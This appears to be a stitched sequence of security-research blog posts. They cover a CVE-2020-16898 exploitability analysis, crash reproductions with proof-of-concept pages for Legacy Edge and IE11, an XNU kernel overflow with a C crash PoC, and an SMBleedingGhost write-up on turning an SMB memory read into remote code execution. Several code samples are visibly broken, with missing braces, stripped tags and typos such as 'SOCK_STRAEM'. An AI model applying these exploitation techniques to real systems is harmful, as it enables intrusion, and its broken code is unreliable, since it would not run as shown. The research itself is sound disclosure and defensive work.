      For example, one such out-of-bounds write happens in tcpip!Ipv6pMakeRouteKey, called by tcpip!IppValidateSetAllRouteParameters.
  • Option type 24 – Route Information Option
    • The option structure size must not be larger than 0x18 bytes. Same implications as for option type 3.
    • The Prefix Length field value must be at most 128. Same implications as for option type 3.
    • The Prefix Length field value must fit the structure option size. That isn’t really interesting since any value in the range 0-128 is handled correctly. The worst thing that could happen here is a small out-of-bounds read.
  • Option type 25 – Recursive DNS Server Option
    • The option structure size must not be smaller than 0x18 bytes. This isn’t interesting, since the size must be at least 8 bytes anyway (the length field is verified to be larger than zero in both loops), and any such structure is handled correctly, even though a size of 8-bytes is not valid according to the specification.
    • The option structure size must be in the form of 8+n*16 bytes. This check was added after fixing CVE-2020-16898.
  • Option type 31 – DNS Search List Option
    • The option structure size must not be smaller than 0x10 bytes. Same implications as for option type 25.

As you can see, there was a slight chance of doing something other than the demonstrated stack overflow by breaking the assumption of the valid prefix length value for option type 3 or 24. Even though it’s literally about smuggling a single bit, sometimes that’s enough. But it looks like this time we weren’t that lucky.

Revisiting the Stack Overflow

Before giving up, we took a closer look at the stack. The POCs that we’ve seen are overriding the stack such that the stack cookie (the __security_cookie value) is overridden, causing a system crash before the function returns.

We checked whether overriding anything on the stack can help achieve code execution before the function returns. That can be a local variable in the “Local variables (2)” space, or any variable in the previous frames that might be referenced inside the function. Unfortunately, we came to the conclusion that all the variables in the “Local variables (2)” space are output buffers that are modified before access, and no data from the previous frames is accessed.


We conclude with high confidence that CVE-2020-16898 is not exploitable without an additional vulnerability. It is possible that we may have missed something. Any insights / feedback is welcome. Even though we weren’t able to exploit the bug, we enjoyed the research, and we hope that you enjoyed this writeup as well.

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Crash Reproduction Series: Microsoft Edge Legacy

2 November 2020 at 07:30
Crash Reproduction Series: Microsoft Edge Legacy

During yet another Digital Forensics investigation using ZecOps Crash Forensics Platform, we saw a crash of the Legacy (pre-Chromium) Edge browser. The crash was caused by a NULL pointer dereference bug, and we concluded that the root cause was a benign bug of the browser. Nevertheless, we thought that it would be a nice showcase of a crash reproduction.

Here’s the stack trace of the crash:

00007ffa`35f4a172     edgehtml!CMediaElement::IsSafeToUse+0x8
00007ffa`36c78124     edgehtml!TrackHelpers::GetStreamIndex+0x26
00007ffa`36c7121f     edgehtml!CSourceBuffer::RemoveAllTracksHelper<CTextTrack,CTextTrackList>+0x98
00007ffa`36880903     edgehtml!CMediaSourceExtension::Var_removeSourceBuffer+0xc3
00007ffa`364e5f95     edgehtml!CFastDOM::CMediaSource::Trampoline_removeSourceBuffer+0x43
00007ffa`3582ea87     edgehtml!CFastDOM::CMediaSource::Profiler_removeSourceBuffer+0x25
00007ffa`359d07b6     Chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x207
00007ffa`35834ab8     Chakra!amd64_CallFunction+0x86
00007ffa`35834d38     Chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x198
00007ffa`35834f99     Chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0xb8
00007ffa`3582cd80     Chakra!Js::InterpreterStackFrame::ProcessProfiled+0x149
00007ffa`3582df9f     Chakra!Js::InterpreterStackFrame::Process+0xe0
00007ffa`3582cf9e     Chakra!Js::InterpreterStackFrame::InterpreterHelper+0x88f
0000016a`bacc1f8a     Chakra!Js::InterpreterStackFrame::InterpreterThunk+0x4e
00007ffa`359d07b6     0x0000016a`bacc1f8a
00007ffa`358141ea     Chakra!amd64_CallFunction+0x86
00007ffa`35813f0c     Chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x2aa
00007ffa`35813e4a     Chakra!Js::JavascriptFunction::CallRootFunction+0x7c
00007ffa`35813d29     Chakra!ScriptSite::CallRootFunction+0x6a
00007ffa`35813acb     Chakra!ScriptSite::Execute+0x179
00007ffa`362bebed     Chakra!ScriptEngineBase::Execute+0x19b
00007ffa`362bde49     edgehtml!CListenerDispatch::InvokeVar+0x41d
00007ffa`362bc6c2     edgehtml!CEventMgr::_InvokeListeners+0xd79
00007ffa`35fdf8f1     edgehtml!CEventMgr::Dispatch+0x922
00007ffa`35fe0089     edgehtml!CEventMgr::DispatchPointerEvent+0x215
00007ffa`35fe04f4     edgehtml!CEventMgr::DispatchClickEvent+0x1d1
00007ffa`36080f10     edgehtml!Tree::ElementNode::Fire_onclick+0x60
00007ffa`36080ca0     edgehtml!Tree::ElementNode::DoClick+0xf0

Amusingly, the browser crashed in the CMediaElement::IsSafeToUse function. Apparently, the answer is no – it isn’t safe to use.

Crash reproduction

The stack trace indicates that the function that was executed by the JavaScript code, and eventually caused the crash, was removeSourceBuffer, part of the MediaSource Web API. Looking for a convenient example to play with, we stumbled upon this page which uses the counterpart function, addSourceBuffer. We added a button that calls removeSourceBuffer and tried it out.

Just calling removeSourceBuffer didn’t cause a crash (otherwise it would be too easy, right?). To see how far we got, we attached a debugger and put a breakpoint on the edgehtml!CMediaSourceExtension::Var_removeSourceBuffer function, then did some stepping. We saw that the CSourceBuffer::RemoveAllTracksHelper function is not being called at all. What tracks does it help to remove?

After some searching, we learned that there’s the HTML <track> element that allows us to specify textual data, such as subtitles, for a media element. We added such an element to our sample video and bingo! Edge crashed just as we hoped.

Crash reason

Our best guess is that the crash happens because the CTextTrackList::GetTrackCount function returns an incorrect value. In our case, it returns 2 instead of 1. An iteration is then made, and the CTextTrackList::GetTrackNoRef function is called with index values from 0 to the track count (simplified):

int count = CTextTrackList::GetTrackCount();
for (int i = 0; i < count; i++) {
    CTextTrackList::GetTrackNoRef(..., i);
    /* more code... */

While it may look like an out-of-bounds bug, it isn’t. GetTrackNoRef returns an error for an invalid index, and for index=1 (in our case), a valid object is returned, it’s just that one of its fields is a NULL pointer. Perhaps the last value in the array is some kind of a sentinel value which was not supposed to be part of the iteration.


The bug is not exploitable, and can only cause a slight inconvenience by crashing the browser tab.


Here’s a POC that demonstrates the crash. Save it as an html file, and place the test.mp4, foo.vtt files in the same folder.

Tested version:

  • Microsoft Edge 44.18362.449.0
  • Microsoft EdgeHTML 18.18363

<video autoplay controls playsinline>
    <!-- https://gist.github.com/Michael-ZecOps/046e2c97d208a0a6da2f81c3812f7d5d -->
    <track label="English" kind="subtitles" srclang="en" src="foo.vtt" default>

    // Based on: https://simpl.info/mse/
    var FILE = 'test.mp4'; // https://w3c-test.org/media-source/mp4/test.mp4
    var video = document.querySelector('video');

    var mediaSource = new MediaSource();
    video.src = window.URL.createObjectURL(mediaSource);

    mediaSource.addEventListener('sourceopen', function () {
        var sourceBuffer = mediaSource.addSourceBuffer('video/mp4; codecs="mp4a.40.2,avc1.4d400d"');

        var button = document.querySelector('button');
        button.onclick = () => mediaSource.removeSourceBuffer(mediaSource.sourceBuffers[0]);

        get(FILE, function (uInt8Array) {
            var file = new Blob([uInt8Array], {
                type: 'video/mp4'

            var reader = new FileReader();

            reader.onload = function (e) {
                sourceBuffer.appendBuffer(new Uint8Array(e.target.result));
                sourceBuffer.addEventListener('updateend', function () {
                    if (!sourceBuffer.updating && mediaSource.readyState === 'open') {

    }, false);

    function get(url, callback) {
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, true);
        xhr.responseType = 'arraybuffer';

        xhr.onload = function () {
            if (xhr.status !== 200) {
                alert('Unexpected status code ' + xhr.status + ' for ' + url);
                return false;
            callback(new Uint8Array(xhr.response));

Does mobile DFIR research interest you?

ZecOps is expanding. We’re looking for additional researchers to join ZecOps Research Team. If you’re interested, send us a note at [email protected].

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Crash Reproduction Series: IE Developer Console UAF

13 October 2020 at 08:50
Crash Reproduction Series: IE Developer Console UAF

During a DFIR investigation, using ZecOps Crash Forensics on a developer’s computer we encountered a consistent crash on Internet Explorer 11. The TL;DR is that albeit this bug is not exploitable, it presents an interesting expansion to the attack surface through the Developer Consoles on browsers.

While examining the stack trace, we noticed a JavaScript engine failure. The type of the exception was a null pointer dereference, which is typically not alarming. We investigated further to understand whether this event can be exploited.

We examined the stack trace below: 

58c0cdba     mshtml!CDiagnosticsElementEventHelper::OnDOMEventListenerRemoved2+0xb
584d6ebc     mshtml!CDomEventRegistrationCallback2<CDiagnosticsElementEventHelper>::OnDOMEventListenerRemoved2+0x1a
584d8a1c     mshtml!DOMEventDebug::InvokeUnregisterCallbacks+0x100
58489f85     mshtml!CListenerAry::ReleaseAndDelete+0x42
582f6d3a     mshtml!CBase::RemoveEventListenerInternal+0x75
5848a9f7     mshtml!COmWindowProxy::RemoveEventListenerInternal+0x1a
582fb8b9     mshtml!CBase::removeEventListener+0x57
587bf1a5     mshtml!COmWindowProxy::removeEventListener+0x29
57584dae     mshtml!CFastDOM::CWindow::Trampoline_removeEventListener+0xb5
57583bb3     jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x1de
574d4492     jscript9!Js::JavascriptFunction::CallFunction<1>+0x93
[...more jscript9 functions]
581b0838     jscript9!ScriptEngineBase::Execute+0x9d
580b3207     mshtml!CJScript9Holder::ExecuteCallback+0x48
580b2fd3     mshtml!CListenerDispatch::InvokeVar+0x227
57fe5ad1     mshtml!CListenerDispatch::Invoke+0x6d
58194d17     mshtml!CEventMgr::_InvokeListeners+0x1ea
58055473     mshtml!CEventMgr::_DispatchBubblePhase+0x32
584d48aa     mshtml!CEventMgr::Dispatch+0x41e
584d387d     mshtml!CEventMgr::DispatchPointerEvent+0x1b0
5835f332     mshtml!CEventMgr::DispatchClickEvent+0x2c3
5835ce15     mshtml!CElement::Fire_onclick+0x37
583baa8e     mshtml!CElement::DoClick+0xd5

and noticed that the flow that led to the crash was:

  • An onclick handler fired due to a user input
  • The onclick handler was executed
  • removeEventListener was called

The crash happened at:


58c0cdcd 8b9004010000    mov     edx,dword ptr [eax+104h] ds:002b:00000104=????????

Relevant commands leading to a crash:

58c0cdc7 8b411c       mov     eax, dword ptr [ecx+1Ch]
58c0cdca 8b401c       mov     eax, dword ptr [eax+1Ch]
58c0cdcd 8b9004010000 mov     edx, dword ptr [eax+104h]

Initially ecx is the “this” pointer of the called member function’s class. On the first dereference we get a zeroed region, on the second dereference we get NULL, and on the third one we crash.


We tried to reproduce a legit call to mshtml!CDiagnosticsElementEventHelper::OnDOMEventListenerRemoved2 to see how it looks in a non-crashing scenario. We came to the conclusion that the event is called only when the IE Developer Tools window is open with the Events tab.

We found out that when the dev tools Events tab is opened, it subscribes to events for added and removed event listeners. When the dev tools window is closed, the event consumer is freed without unsubscribing, causing a use-after-free bug which results in a null dereference crash.


Tools such as Developer Options dynamically add additional complexity to the process and may open up additional attack surfaces.


Even though Use-After-Free (UAF) bugs can often be exploited for arbitrary code execution, this bug is not exploitable due to MemGC mitigation. The freed memory block is zeroed, but not deallocated while other valid objects still point to it. As a result, the referenced pointer is always a NULL pointer, leading to a non-exploitable crash.

Responsible Disclosure

We reported this issue to Microsoft, that decided to not fix this UAF issue.


Below is a small HTML page that demonstrates the concept and leads to a crash.
Tested IE11 version: 11.592.18362.0
Update Versions: 11.0.170 (KB4534251)

<!DOCTYPE html>
1. Open dev tools
2. Go to Events tab
3. Close dev tools
4. Click on Enable
<button onclick="setHandler()">Enable</button>
<button onclick="removeHandler()">Disable</button>
<p id="demo"></p>
function myFunction() {
    document.getElementById("demo").innerHTML = Math.random();
function setHandler() {
    document.body.addEventListener("mousemove", myFunction);
function removeHandler() {
    document.body.removeEventListener("mousemove", myFunction);

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ZecOps for Mobile DFIR 2.0 – Now Supporting iOS *AND* Android

8 October 2020 at 10:00
ZecOps for Mobile DFIR 2.0 – Now Supporting iOS *AND* Android

ZecOps is excited to announce the release of ZecOps for Mobile 2.0, which includes full support for Android. With this release, ZecOps has extended its best-in-class automatic digital forensics capabilities to the two most widespread and important mobile operating systems in the world, iOS and Android.

We see it in the news everyday: sophisticated threat actors can bypass all existing security defenses. These mistakes lead to sudden reboots, crashes, appearances in logs / OS telemetry, bugs, errors, battery loss, and other “unexplained” anomalies. ZecOps for Mobile analyzes the associated events against databases of attack techniques, common weaknesses (CWEs), and common vulnerabilities (CVEs). ZecOps’s core technology utilizes machine learning for insights, correlation and identifying anomalous behavior for 0-day attacks. Following a quick investigation, ZecOps produces a detailed assessment of if, when, and how a mobile device has been compromised.

World-leading governments, defense agencies, enterprises, and VIPs rely on ZecOps to automate their advanced investigations, greatly improving their threat intelligence, threat detection, APT hunting, and risk & compromise assessment capabilities. With support for Android, ZecOps can now extend this threat intelligence across an entire organization’s mobile footprint.

Supported versions:

  • Android 8 and above – until latest
  • iOS 10 and above – until latest

Supported HW Models:

  • All device models are supported on both Android and iOS.

ZecOps provides the most thorough operating system telemetry analysis as part of its advanced digital forensics. By focusing on the trails that hackers leave (“Attackers’ Mistakes”), ZecOps can provide sophisticated security organizations with critical information on the attackers’ tools, advanced persistent threats, and even discovery of attacks leveraging zero-day vulnerabilities.

From a comment to a CVE: Content filter strikes again!

17 September 2020 at 02:44
From a comment to a CVE: Content filter strikes again!

0x0- Opening

In the past few years XNU had few vulns in a newly added/changed code areas (extra_recipe, kq double release) and in the content filter area (bug collision uaf, silent patched uaf) so it is no surprise that the combination of the newly added code and complex areas (content-filter) alongside with a funny comment caught our attention.

0x1- Discovery story

Upon a closer look at the newly added xnu source of Darwin 19 you might notice a strange comment in content_filter.c:

 *	Deal with OOB
 *	If support datagram, enqueue control and address mbufs as well

Is this comment referring to OOB read/write issues? Probably not but it won’t hurt to run a quick search for those so we will use the magic tool CMD +f to search for memcpy calls and in less than two minutes you will find the following 

0x2- The bug.

The newly updated cfil_sock_attach function which is easily reached from tcp_usr_connect and tcp_usr_connectx with controlled variables:

cfil_sock_attach(struct socket *so, struct sockaddr *local, struct sockaddr *remote, int dir) // (Part A)
	errno_t error = 0;
	uint32_t filter_control_unit;


	/* Limit ourselves to TCP that are not MPTCP subflows */
	if ((so->so_proto->pr_domain->dom_family != PF_INET &&
	    so->so_proto->pr_domain->dom_family != PF_INET6) ||
	    so->so_proto->pr_type != SOCK_STREAM ||
	    so->so_proto->pr_protocol != IPPROTO_TCP ||
	    (so->so_flags & SOF_MP_SUBFLOW) != 0 ||
	    (so->so_flags1 & SOF1_CONTENT_FILTER_SKIP) != 0) {
		goto done;

	filter_control_unit = necp_socket_get_content_filter_control_unit(so);
	if (filter_control_unit == 0) {
		goto done;

	if (filter_control_unit == NECP_FILTER_UNIT_NO_FILTER) {
		goto done;
	if ((filter_control_unit & NECP_MASK_USERSPACE_ONLY) != 0) {
		goto done;
	if (cfil_active_count == 0) {
		goto done;
	if (so->so_cfil != NULL) {
		CFIL_LOG(LOG_ERR, "already attached");
	} else {
		cfil_info_alloc(so, NULL);
		if (so->so_cfil == NULL) {
			error = ENOMEM;
			goto done;
		so->so_cfil->cfi_dir = dir;
	if (cfil_info_attach_unit(so, filter_control_unit, so->so_cfil) == 0) {
		CFIL_LOG(LOG_ERR, "cfil_info_attach_unit(%u) failed",
		goto done;
	CFIL_LOG(LOG_INFO, "so %llx filter_control_unit %u sockID %llx",
	    filter_control_unit, so->so_cfil->cfi_sock_id);

	so->so_flags |= SOF_CONTENT_FILTER;

	/* Hold a reference on the socket */

	 * Save passed addresses for attach event msg (in case resend
	 * is needed.
	if (remote != NULL) {
		memcpy(&so->so_cfil->cfi_so_attach_faddr, remote, remote->sa_len); // Part B
	if (local != NULL) {
		memcpy(&so->so_cfil->cfi_so_attach_laddr, local, local->sa_len); // Part C

	error = cfil_dispatch_attach_event(so, so->so_cfil, 0, dir);
	/* We can recover from flow control or out of memory errors */
	if (error == ENOBUFS || error == ENOMEM) {
		error = 0;
	} else if (error != 0) {
		goto done;

	return error;

We can see that in (Part A) the function receives two sockaddrs parameters (local and remote) which are user controlled and then using their sa_len struct member (remote in (Part B) and local in (Part C)) in order to copy data to cfi_so_attach_laddr and cfi_so_attach_faddr. Parts (A) (B) and (C) were all result of a new changes in XNU.

So what’s the problem? The problem is there is lack of check of sa_len which can be set up to 255 and then will be used in a memcpy to copy data into a union sockaddr_in_4_6 which is a 28 bytes struct – resulting in a buffer overflow.

The PoC below which is almost identical to Ian Beer’s mptcp with two changes. This POC requires a pre-requisite to reach the vulnerable area. In order to trigger the vulnerability we need to use an MDM enrolled device with NECP policy, or attach the socket to a valid filter_control_unit. One way to do it is to create one with cfilutil and then manually write it to kernel memory using a kernel debugger.

After running the POC, it will crash the kernel:

#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>

int main(int argc, const char * argv[ ]) {

	int sock = socket(AF_INET, SOCK_STRAEM, IPPROTO,TCP);
	If (sock < 0) {
		printf(“socket failed\n”);
		return -1;
	printf(“got socket: %d\n”, sock);
	struct sockaddr* sockaddr_dst = malloc(256);
	memset(sockaddr_dst, ‘A’, 256);
	sockaddr_dst->sa_len = 255;
	sockaddr_dst->sa_faimly =AF_INET;
	sa_endpoint_t eps = {0};
	eps.sae_srcif = 0;
	eps.sae_srcaddr = NULL;
	eps.sae_srcaddrlen = 0;
eps.sae_dstaddr = sockaddr_dst;
eps.sae_dstaddrlen = 255;
int err = connectx(sock,&eps,SAE_ASSOCID_ANY,0,NULL,0,NULL,NULL);
  printf(“err: %d\n”,err);
return 0;

0x3- Patch

The patch of the issue is interesting too because while the source code (iOS 13.6 / MacOS 10.15.6) provide this patch:

if (remote != NULL && (remote->sa_len <= sizeof(union sockaddr_in_4_6))) {
		memcpy(&so->so_cfil->cfi_so_attach_faddr, remote, remote->sa_len);
	if (local != NULL && (local->sa_len <= sizeof(union sockaddr_in_4_6))) {
		memcpy(&so->so_cfil->cfi_so_attach_laddr, local, local->sa_len);

The disassembly shows something else…

Here is a picture of the vulnerable part in macOS 10.15.1 compiled kernel (before the issue was reported):

Here is a picture of the vulnerable part in macOS 10.15.6 compiled kernel (after the issue was reported):

The panic call with the mecmpy_chk is gone alongside the patch!

Did the original developer knew this function was vulnerable and placed it there as a placeholder until a proper patch? Your guess is good as ours.

Also note that the call to memcpy_chk before the real_mode_bootstarp_end (which is a wraparound of memcpy) is what kept this issue from being exploitable.

0x4- What can we take from this?

  1. Read comments they might give us valuable information
  2. Newly added code is oftentimes buggy
  3. Content filter code is complex and tricky 
  4. Now with Pangu’s recent blog post and Ian Beer mptcp bug we can learn that sockaddr->sa_len already caused multiple issues and should be audited a bit more carefully.

0x5- Attacks in the wild?

This issue is not dangerous. During our investigation of this bug, ZecOps checked its targeted threats intelligence database, and saw no active attacks associated with this issue. We still advise to update to the latest version to receive all other updates.

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SMBleedingGhost Writeup Part III: From Remote Read (SMBleed) to RCE

28 June 2020 at 08:41
SMBleedingGhost Writeup Part III: From Remote Read (SMBleed) to RCE


Previous SMBleedingGhost write-ups: 

In the previous part of the series, SMBleedingGhost Writeup Part II: Unauthenticated Memory Read – Preparing the Ground for an RCE, we described two techniques that allow us to read uninitialized memory from the pool buffers allocated by the SrvNetAllocateBuffer function of the srvnet.sys module. The first technique accomplishes that by crafting a special SMB packet and deducing information from the server’s response. The second technique, which has less limitations, does that by sending specially crafted compressed data and deducing information depending on whether the server drops the connection.

The next thing we had to understand was: what can be done with this reading ability? As a reminder, we began this research with a write-what-where primitive that we demonstrated in our previous research about achieving local privilege escalation. Since most of the memory layout in the modern Windows versions is randomized, we need to have at least one pointer to be able to do something useful with the write-what-where primitive. Unfortunately, memory allocated with the SrvNetAllocateBuffer function is mostly used for network data such as SMB packets and doesn’t contain system pointers. We could try and read uninitialized memory left by a previous allocation that wasn’t done with SrvNetAllocateBuffer, but it would be difficult to predict where to look for a pointer in this case, especially since we can’t run code on the target computer that could help us grooming the pool (unlike in the case of a local privilege escalation, for example). So we started looking for something more reliable.

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SrvNetAllocateBuffer and the allocated buffer layout

As we already mentioned in our local privilege escalation research, the SrvNetAllocateBuffer function doesn’t just return a buffer with the requested size. Instead, it returns a pointer to a struct that is located at the bottom of the pool-allocated memory block, containing information about the allocated buffer. The layout of the pool-allocated memory block is the following:

While our reading technique can only read bytes from the “User buffer” region, we can use the integer overflow bug to copy parts of the SRVNET_BUFFER_HDR struct to the “User buffer” region of another buffer, which we can then read. We can do that by setting the Offset field to point at the SRVNET_BUFFER_HDR struct beyond the data we want to read. We just need to make sure that the data that is located there can be interpreted as valid compressed data, otherwise the copying won’t happen.

Hunting for pointers

Let’s take a look at the fields of the SRVNET_BUFFER_HDR struct and see whether there’s something worth reading:

#pragma pack(push, 1)
/*00*/  (orange) LIST_ENTRY ConnectionBufferList;
/*10*/  WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list
/*12*/  WORD LookasideListIndex; // 0 to 8
/*14*/  WORD LookasideListLogicalProcessor;
/*16*/  WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2
/*18*/  (blue) PBYTE UserBufferPtr;
/*20*/  DWORD UserBufferSizeAllocated;
/*24*/  DWORD UserBufferSizeUsed;
/*28*/  DWORD PoolAllocationSize;
/*2C*/  BYTE unknown1[4];
/*30*/  (blue) PBYTE PoolAllocationPtr;
/*38*/  (blue) PMDL pMdl1;
/*40*/  DWORD BytesProcessed;
/*44*/  BYTE unknown2[4];
/*48*/  SIZE_T BytesReceived;
/*50*/  (blue) PMDL pMdl2;
/*58*/  (orange) PVOID pSrvNetWskStruct;
/*60*/  DWORD SmbFlags;
/*64*/  (orange) PVOID TracingPtr1;
/*6C*/  SIZE_T TracingUnknown1;
/*74*/  (orange) PVOID TracingPtr2;
/*7C*/  SIZE_T TracingUnknown2;
/*84*/  BYTE unknown3[12];
#pragma pack(pop)

The colored variables are pointers. The blue-colored pointers all point inside the pool-allocated memory block, with offsets which can be calculated in advance, so it’s enough to read one of them. Having an absolute pointer to the pool-allocated memory block will surely be helpful. Regarding the orange-colored pointers:

  • ConnectionBufferList – A linked list of all of the received, unhandled buffers of a connection. The list head is a part of the connection object created by the SrvNetAllocateConnection function in srvnet.sys. A buffer is added to the list by the SrvNetWskReceiveComplete function. In our case, there will be only one buffer in the list, so both pointers (Flink and Blink of the LIST_ENTRY struct) will point to the list head inside the connection object.
  • pSrvNetWskStruct – Initially, a pointer to the connection object mentioned above. The pointer is set by the SrvNetWskReceiveEvent function, but is overridden by the SrvNetWskReceiveComplete function with the pointer to the SRVNET_BUFFER_HDR struct. Thus, reading it is not more useful than reading one of the other blue-colored pointers. By the way, if you search for “pSrvNetWskStruct“ you’ll find out that it played a role in exploiting EternalBlue.
  • TracingPtr1/2 – These pointers are only used when tracing is enabled, as it seems.

As you can see, the only other useful pointer for us to read is one of the pointers from the ConnectionBufferList struct. Both pointers (Blink and Flink of the LIST_ENTRY struct) point to the connection object. The object struct has been named SRVNET_RECV by EternalBlue researchers, so we’ll use this name as well.

Getting a module base address

Now that we know how to get the two pointers – a pointer to a pool-allocated memory block and a pointer to an SRVNET_RECV struct – we can freely modify the two buffers using the write-what-where primitive. There are probably several ways from this point to achieve RCE, but we had a feeling that getting a base address of a module would be the most straightforward option since there are so many things we can modify in a data section of a module. As we’ve seen, none of the pointers in a memory block allocated by SrvNetAllocateBuffer point to a module. We had hopes for the SRVNET_RECV struct, but we didn’t find pointers that point to a module there, too. On the bright side, there are several pointers to modules one additional dereference away:

At this point, we noticed that since we can override those pointers in SRVNET_RECT, we can call an arbitrary function by replacing the HandlerFunctions pointer and triggering one of the events, e.g. closing the connection so that Srv2DisconnectHandler is called. This will come in handy later, but we didn’t have any function pointers to call yet, so we continued with our attempt to get a module base address.

Unlike writing, reading those pointers is not as easy since our technique allows us to read only from the “User buffer” region. So close, yet so far. Since we can get and modify a pool-allocated memory block and an SRVNET_RECV struct, we hoped to find code that we can trigger that does a double-dereference-read followed by a double-dereference-write with two variables that we control, similar to the following:

ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value

If we could find such a snippet, we would trigger it to copy the first pointer (e.g. HandlerFunctions) to the “User buffer” region, read it, then copy the second pointer (e.g. the Srv2ConnectHandler function pointer) to the “User buffer” region and read it as well, deducing the module base address from it. We searched for such a snippet for a long time, but didn’t find a good match. Finally, we settled for a sub-optimal option which nevertheless worked. Let’s take a look at the relevant part of the SrvNetFreeBuffer function (simplified):

void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer)
    PMDL pMdl1 = Buffer->pMdl1;
    PMDL pMdl2 = Buffer->pMdl2;

    if (pMdl2->MdlFlags & 0x0020) {
        // MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
        MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);

    if (Buffer->BufferFlags & 0x02) {
        if (Buffer->BufferFlags & 0x01) {
            pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
            pMdl1->ByteCount -= 0x50;
            pMdl1->ByteOffset += 0x50;
            pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

            pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
            pMdl2->ByteCount = pMdl1->ByteCount;
            pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
            pMdl2->Size = /* some calculation */;
            pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL

        Buffer->BufferFlags = 0;

        // ...

        pMdl1->Next = NULL;
        pMdl2->Next = NULL;

        // Return the buffer to the lookaside list.
    } else {
        SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
        ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');

Upon freeing the buffer, if buffer flags 0x02 (means the buffer is part of a lookaside list) and 0x01 (means the buffer has no transport header) are set, some operations are made on the two MDL objects to add the transport header before resetting the flags to zero and returning the buffer back to the lookaside list. If we set aside the meaning behind the operations on the MDL objects for a moment and look at the operations in terms of memory manipulation, we can notice that the code does a double-dereference-read followed by a double-dereference-write with two variables that we control (the two MDL pointers), which is what we were looking for. The downside is that the content that we want to read from is also modified (lines 13-16, 29), a side effect we hoped to avoid.

Given the above, here’s how we managed to read the AcceptSocket pointer:

1. Prepare buffer A from a lookaside list such that the “User buffer” region is filled with zeros. This buffer will end up holding the pointer that we’ll eventually read.

2. Prepare buffer B from a different lookaside list such that:

  • The pMdl1 pointer points at the address of the HandlerFunctions pointer minus 0x18, the offset of MappedSystemVa in the MDL struct.
  • The pMdl2 pointer points at the “User buffer” region of Buffer A.
  • The Flags field is set to 0x03.

We can override the SRVNET_BUFFER_HDR struct fields by decompressing them from a larger buffer using the technique described in the Observation #2 section of the previous part of the writeup.

3. When buffer B is freed, the following operations will take place:

  • The MDL flags will be read from the second MDL at buffer A. If the MDL_PARTIAL_HAS_BEEN_MAPPED flag is set, MmUnmapLockedPages will be called and the system will likely crash. That’s why we filled the buffer with zeros in step 1.
  • The HandlerFunctions pointer and the memory around it will be modified as depicted here:
+00 |  00 00 00 00 00 00 00 00
+08 |  __ __ __|10 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  [+50..................]  <--  HandlerFunctions
+20 |  __ __ __ __ __ __ __ __
+28 |  [-50......] [+50......]
  • The HandlerFunctions pointer and the memory around it will be read as depicted here:
+00 |  __ __ __ __ __ __ __ __
+08 |  __ __ __ __ __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  ab cd ef gh ij kl mn op  <--  HandlerFunctions
+20 |  __ __ __ __ __ __ __ __
+28 |  qr st uv wx __ __ __ __
  • The “User buffer” region of buffer A will be modified as depicted here: (The orange-colored bytes contain the pointer we want to read. We just need to order them properly.)
+00 |  00 00 00 00 00 00 00 00
+08 |  ?? ?? 04 00 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  __ __ __ __ __ __ __ __
+20 |  00 {c}0 {ef gh ij kl mn op}
+28 |  qr st uv wx {ab} 0{d} 00 00

4. Read the AcceptSocket pointer from the “User buffer” region of buffer A.

The good news: we managed to read the pointer. The bad news: we corrupted some data in the SRVNET_RECT struct. Luckily for us, the corruption doesn’t affect the system as long as nothing happens with the relevant connection. When something does happen, e.g. the connection closes, the system crashes. That’s not a problem since we’ll get RCE soon, and we can fix the corruption if we want to. We didn’t implement such a fix in our POC and such fix was left as an exercise for the reader.

After reading the AcceptSocket pointer, we used the same technique to read the srvnet!SrvNetWskConnDispatch pointer. We read the AcceptSocket pointer and not the HandlerFunctions pointer since the array of handler functions is shared between all connections, while the buffer pointed by AcceptSocket is not shared with other connections. Therefore, we can corrupt the latter, affecting the stability of only a single connection.

If we have a copy of the srvnet.sys file used on the target computer, we can just compute the offset of the SrvNetWskConnDispatch pointer in the module locally and subtract the offset from the pointer we read, getting the srvnet.sys module base address as a result. That’s what we did in our POC to keep things simple. One can improve it to be more general. One option that comes to mind is keeping several versions of srvnet.sys locally, and deducing the correct one by the least significant bytes of the read pointer.

Implementing arbitrary read

From the beginning of this research we had a convenient write-what-where (arbitrary write) primitive, but had nothing that allowed us to read memory. We worked hard until now to gain some memory reading abilities, and at this point we felt that we had enough tools to make our life easier and implement a convenient arbitrary read primitive. We began by exploring the possibilities of calling an arbitrary function.

Given that we have the base address of the srvnet.sys module, we can call any of the module’s functions. But what about the function’s arguments? The srv2!Srv2ReceiveHandler function is called by SrvNetCommonReceiveHandler, and the call looks like this:

HandlerFunctions = *(pSrvNetRecv + 0x118);
Arg1 = *(ULONG_PTR)(pSrvNetRecv + 0x128);
Arg2 = *(ULONG_PTR)(pSrvNetRecv + 0x130);
(HandlerFunctions[1])(Arg1, Arg2, Arg3, Arg4, Arg5, Arg6, Arg7, Arg8);

